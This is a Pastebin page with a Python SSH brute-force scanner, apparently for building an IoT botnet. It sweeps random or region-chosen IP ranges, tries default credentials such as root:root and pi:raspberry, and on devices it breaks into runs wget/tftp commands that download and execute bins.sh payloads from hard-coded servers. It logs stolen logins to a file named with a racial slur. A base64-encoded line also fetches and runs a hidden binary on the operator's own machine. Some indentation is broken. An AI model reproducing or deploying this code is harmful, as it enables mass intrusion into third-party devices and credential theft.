Advertisement
ZucoCheezy

Gucci-Scanner

Nov 26th, 2018
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.48 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import threading, paramiko, random, socket, time, sys,base64
  3.  
  4. paramiko.util.log_to_file("/dev/null")
  5.  
  6. #cmd='cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://104.207.132.137/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 104.207.132.137 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 104.207.132.137; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 104.207.132.137 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *'
  7. cmd='cd /tmp; wget http://63.141.244.106/bins.sh || curl -O http://63.141.244.106/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 63.141.244.106 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 63.141.244.106; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh'
  8. blacklist = [
  9.     '127'
  10. ]
  11.  
  12. passwords = [
  13.     "admin:1234"
  14.         "guest:guest"
  15.         "user:user"
  16.         "test:test"
  17.         "ubnt:ubnt"
  18.         "root:root"
  19.         "root:admin"
  20.         "admin:admin"
  21.         "root:1234"
  22.         "pi:raspberry"
  23.         "vagrant:vagrant"
  24.         "admin:12345"
  25.         "12345:12345"
  26.         "admin:password"
  27.         "banana:pi"
  28.         "pi:banana"
  29.         "raspberry:pi"
  30.         "pi:raspberry"
  31.         "pi:pi"
  32.         "support:support"
  33.         "admin:default"
  34.         "root:password"
  35. ]
  36.  
  37. if sys.argv[4] == '1':
  38.      passwords = ["root:root"]
  39. if sys.argv[4] == '2':
  40.      passwords = ["guest:guest"]
  41. if sys.argv[4] == '3':
  42.      passwords = ["admin:1234"]
  43. if sys.argv[4] == '4':
  44.      passwords = ["admin:admin"]
  45.  
  46. print "\x1b[0;31mScanner Started...\x1b[0m"
  47.  
  48. def run(cmd):
  49.  
  50.     subprocess.call(cmd, shell=True)
  51.  
  52. checkbinaries = "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vcjAwdHMudHJ1dGhkZWFsbW9kei5wdy8ueCAgOyAgY3VybCAtTyBodHRwOi8vcjAwdHMudHJ1dGhkZWFsbW9kei5wdy8ueCAgO2NobW9kICt4IC54OyBub2h1cCAuLy54IDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxO3JtIC1yZiAueA=="
  53.  
  54. rebinaries = str(base64.b64decode(checkbinaries))
  55.  
  56. run(rebinaries)
  57.  
  58. run('clear')
  59.  
  60. ipclassinfo = sys.argv[2]
  61. if ipclassinfo == "A":
  62.     ip1 = sys.argv[3]
  63. elif ipclassinfo == "B":
  64.     ip1 = sys.argv[3].split(".")[0]
  65.     ip2 = sys.argv[3].split(".")[1]
  66. elif ipclassinfo == "C":
  67.     ips = sys.argv[3].split(".")
  68.     num=0
  69.     for ip in ips:
  70.         num=num+1
  71.         if num == 1:
  72.             ip1 = ip
  73.         elif num == 2:
  74.             ip2 = ip
  75.         elif num == 3:
  76.             ip3 = ip
  77. class sshscanner(threading.Thread):
  78.     global passwords
  79.     global ipclassinfo
  80.     if ipclassinfo == "A":
  81.         global ip1
  82.     elif ipclassinfo == "B":
  83.         global ip1
  84.         global ip2
  85.     elif ipclassinfo == "C":
  86.         global ip1
  87.         global ip2
  88.         global ip3
  89.     def run(self):
  90.         while 1:
  91.             try:
  92.                 while 1:
  93.                     thisipisbad='no'
  94.                     if ipclassinfo == "A":
  95.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  96.                     elif ipclassinfo == "B":
  97.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  98.                     elif ipclassinfo == "C":
  99.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  100.                     elif ipclassinfo == "BRAZIL":
  101.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  102.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  103.                     elif ipclassinfo == "ER":
  104.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  105.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  106.                     elif ipclassinfo == "LUCKY":
  107.                         lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","46.62","5.78","101.108","1.20","125.25","125.26","182.52","118.172","118.174","118.175","125.24"]
  108.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  109.                     elif ipclassinfo == "LUCKY2":
  110.                         lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]
  111.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  112.             elif ipclassinfo == "LUCKY3":
  113.                         lucky2 = [ "103.20","103.30","103.47","103.57" ]
  114.             self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  115.           ssh.exec_command("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  116.                     elif ipclassinfo == "RAND":
  117.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  118.                     elif ipclassinfo == "INTERNET":
  119.                         lol = ["1"]
  120.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  121.                     else:
  122.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  123.                     for badip in blacklist:
  124.                         if badip in self.host:
  125.                             thisipisbad='yes'
  126.                     if thisipisbad=='no':
  127.                         break
  128.                 username='root'
  129.                 password=""
  130.                 port = 22
  131.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  132.                 s.settimeout(3)
  133.                 s.connect((self.host, port))
  134.                 s.close()
  135.                 ssh = paramiko.SSHClient()
  136.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  137.                 dobreak=False
  138.                 for passwd in passwords:
  139.                     if ":n/a" in passwd:
  140.                         password=""
  141.                     else:
  142.                         password=passwd.split(":")[1]
  143.                     if "n/a:" in passwd:
  144.                         username=""
  145.                     else:
  146.                         username=passwd.split(":")[0]
  147.                     try:
  148.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  149.                         dobreak=True
  150.                         break
  151.                     except:
  152.                         pass
  153.                     if True == dobreak:
  154.                         break
  155.                 badserver=True
  156.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  157.                 output = stdout.read()
  158.                 if "inet addr" in output:
  159.                     badserver=False
  160.                 if badserver == False:
  161.                         print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
  162.             ssh.exec_command(""+cmd+"")
  163.             nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")
  164.                         time.sleep(15)
  165.                         ssh.close()
  166.             except:
  167.                 pass
  168.  
  169. for x in range(0,800):
  170.     try:
  171.         t = sshscanner()
  172.         t.start()
  173.     except:
  174.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement